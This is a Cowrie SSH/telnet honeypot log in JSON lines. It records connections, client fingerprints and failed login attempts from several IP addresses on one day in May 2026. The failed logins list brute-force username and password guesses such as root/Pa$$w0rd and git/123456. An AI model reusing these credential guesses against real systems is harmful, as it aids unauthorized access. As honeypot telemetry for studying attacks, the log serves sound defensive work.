{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:33.326145Z","src_ip":"207.56.225.202","session":"189650600d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":682,"dst_ip":"159.203.135.109","dst_port":22,"session":"6402339a077d","protocol":"ssh","message":"New connection: 103.24.63.85:682 (159.203.135.109:22) [session: 6402339a077d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:38.254567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:38.259307Z","src_ip":"103.24.63.85","session":"6402339a077d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:38.461175Z","src_ip":"103.24.63.85","session":"6402339a077d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:39.042616Z","src_ip":"103.24.63.85","session":"6402339a077d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:40.408759Z","src_ip":"103.24.63.85","session":"6402339a077d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"631a312e4387","protocol":"telnet","message":"New connection: 192.119.13.58:33386 (10.17.0.5:23) [session: 631a312e4387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:47.019962Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":27216,"dst_ip":"159.203.135.109","dst_port":22,"session":"de6a69cb2cd3","protocol":"ssh","message":"New connection: 165.154.23.26:27216 (159.203.135.109:22) [session: de6a69cb2cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:49.899072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:49.907983Z","src_ip":"165.154.23.26","session":"de6a69cb2cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:50.115828Z","src_ip":"165.154.23.26","session":"de6a69cb2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45822,"dst_ip":"10.17.0.5","dst_port":23,"session":"b62858b4c384","protocol":"telnet","message":"New connection: 192.119.13.58:45822 (10.17.0.5:23) [session: b62858b4c384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:50.207294Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!w2e3r4t5y6","message":"login attempt [root/Q!w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:50.959090Z","src_ip":"165.154.23.26","session":"de6a69cb2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":36160,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf3eaf465392","protocol":"ssh","message":"New connection: 92.207.4.157:36160 (159.203.135.109:22) [session: bf3eaf465392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:51.413407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:51.421552Z","src_ip":"92.207.4.157","session":"bf3eaf465392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:51.526726Z","src_ip":"92.207.4.157","session":"bf3eaf465392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e,./","message":"login attempt [root/1q2w3e,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:51.999777Z","src_ip":"92.207.4.157","session":"bf3eaf465392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:52.176051Z","src_ip":"165.154.23.26","session":"de6a69cb2cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:53.107020Z","src_ip":"92.207.4.157","session":"bf3eaf465392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":17872,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a817e29d696","protocol":"ssh","message":"New connection: 103.24.63.85:17872 (159.203.135.109:22) [session: 1a817e29d696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:55.892066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:55.898252Z","src_ip":"103.24.63.85","session":"1a817e29d696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.95975303649902,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:56.031924Z","src_ip":"192.119.13.58","session":"316951aa201c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:56.096700Z","src_ip":"103.24.63.85","session":"1a817e29d696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:56.864713Z","src_ip":"103.24.63.85","session":"1a817e29d696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:58.068081Z","src_ip":"103.24.63.85","session":"1a817e29d696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33914,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d70ce1349e","protocol":"telnet","message":"New connection: 192.119.13.58:33914 (10.17.0.5:23) [session: 48d70ce1349e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:01.589401Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":22598,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76a232159da","protocol":"ssh","message":"New connection: 103.24.63.85:22598 (159.203.135.109:22) [session: a76a232159da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:11.194297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:11.198886Z","src_ip":"103.24.63.85","session":"a76a232159da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:11.390017Z","src_ip":"103.24.63.85","session":"a76a232159da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":44326,"dst_ip":"159.203.135.109","dst_port":22,"session":"907be6f126e6","protocol":"ssh","message":"New connection: 103.122.221.179:44326 (159.203.135.109:22) [session: 907be6f126e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:11.446111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:11.451034Z","src_ip":"103.122.221.179","session":"907be6f126e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:11.718252Z","src_ip":"103.122.221.179","session":"907be6f126e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd","message":"login attempt [root/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:11.971937Z","src_ip":"103.24.63.85","session":"a76a232159da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.69923233985901,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:12.180958Z","src_ip":"192.119.13.58","session":"6cb46ef30d62","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2698026980a","message":"login attempt [root/2698026980a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:12.521887Z","src_ip":"103.122.221.179","session":"907be6f126e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:13.474355Z","src_ip":"103.24.63.85","session":"a76a232159da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:13.795302Z","src_ip":"103.122.221.179","session":"907be6f126e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.10412526130676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:25.123981Z","src_ip":"192.119.13.58","session":"631a312e4387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":27732,"dst_ip":"159.203.135.109","dst_port":22,"session":"b07a00c0ddef","protocol":"ssh","message":"New connection: 103.24.63.85:27732 (159.203.135.109:22) [session: b07a00c0ddef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:28.530064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:28.534098Z","src_ip":"103.24.63.85","session":"b07a00c0ddef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:28.726571Z","src_ip":"103.24.63.85","session":"b07a00c0ddef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:29.324397Z","src_ip":"103.24.63.85","session":"b07a00c0ddef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:30.520251Z","src_ip":"103.24.63.85","session":"b07a00c0ddef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.2695837020874,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:34.476772Z","src_ip":"192.119.13.58","session":"b62858b4c384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.03935098648071,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:40.628598Z","src_ip":"192.119.13.58","session":"48d70ce1349e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49290,"dst_ip":"10.17.0.5","dst_port":23,"session":"99a8bdaa13ab","protocol":"telnet","message":"New connection: 192.119.13.58:49290 (10.17.0.5:23) [session: 99a8bdaa13ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:40.979264Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38810,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bde8bd10864","protocol":"telnet","message":"New connection: 192.119.13.58:38810 (10.17.0.5:23) [session: 8bde8bd10864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:44.543120Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":33820,"dst_ip":"159.203.135.109","dst_port":22,"session":"0303c4a6a395","protocol":"ssh","message":"New connection: 207.56.225.202:33820 (159.203.135.109:22) [session: 0303c4a6a395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:50.329135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:11:50.333232Z","src_ip":"207.56.225.202","session":"0303c4a6a395","protocol":"ssh"}
